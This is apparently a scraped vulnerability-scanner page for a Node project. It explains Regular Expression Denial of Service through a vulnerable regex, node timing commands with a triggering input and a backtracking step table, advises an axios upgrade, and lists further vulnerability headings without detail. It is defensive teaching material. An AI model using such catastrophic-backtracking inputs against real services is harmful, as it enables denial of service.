The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

CCC
CC+C
C+CC
C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

PegaSysEng/orchestrate-node:package.json

Vulnerabilities

Dependencies

Source

Commit

Find, fix and prevent vulnerabilities in your code.

critical severity

Improper Verification of Cryptographic Signature

Detailed paths

Overview

PoC

Remediation

References

critical severity

Improper Verification of Cryptographic Signature

Detailed paths

Overview

PoC

Remediation

References

critical severity

Improper Verification of Cryptographic Signature

Detailed paths

Overview

PoC

Remediation

References

critical severity

Improper Verification of Cryptographic Signature

Detailed paths

Overview

PoC

Remediation

References

critical severity

Information Exposure

Detailed paths

Overview

Remediation

References

high severity

Improper Verification of Cryptographic Signature

Detailed paths

Overview

Remediation

References

high severity

Denial of Service (DoS)

Detailed paths

Overview

Workaround

PoC

Details

Remediation

References

high severity

Cross-site Request Forgery (CSRF)

Detailed paths

Overview

Workaround

Remediation

References

medium severity new

Server-side Request Forgery (SSRF)

Detailed paths

Overview

PoC

Remediation

References

medium severity new

Server-side Request Forgery (SSRF)

Detailed paths

Overview

Remediation

References

medium severity

Regular Expression Denial of Service (ReDoS)

Detailed paths

Overview

PoC

medium severity

new

medium severity

new